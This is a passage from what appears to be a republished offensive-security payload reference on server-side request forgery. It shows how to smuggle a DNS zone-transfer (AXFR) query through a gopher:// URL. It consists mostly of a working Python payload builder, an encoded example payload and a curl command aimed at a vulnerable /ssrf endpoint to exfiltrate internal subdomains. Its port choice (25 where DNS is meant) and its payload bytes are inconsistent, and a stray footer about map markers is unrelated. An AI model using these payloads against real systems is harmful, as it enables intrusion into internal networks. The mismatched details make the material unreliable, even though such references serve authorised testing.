Server Side Request Forgery · passage 28 of 53

SSRF-Advanced-Exploitation: DNS AXFR

2 code blocks · Server Side Request Forgery/SSRF-Advanced-Exploitation.md

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Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.

from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request =  b"\x01\x03\x03\x07"    # BITMAP
dns_request += b"\x00\x01"            # QCOUNT
dns_request += b"\x00\x00"            # ANCOUNT
dns_request += b"\x00\x00"            # NSCOUNT
dns_request += b"\x00\x00"            # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode()        # DOMAIN
dns_request += len(tld).to_bytes()    # LEN TLD
dns_request += tld.encode()           # TLD
dns_request += b"\x00"                # DNAME EOF
dns_request += b"\x00\xFC"            # QTYPE AXFR (252)
dns_request += b"\x00\x01"            # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')

Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`

curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.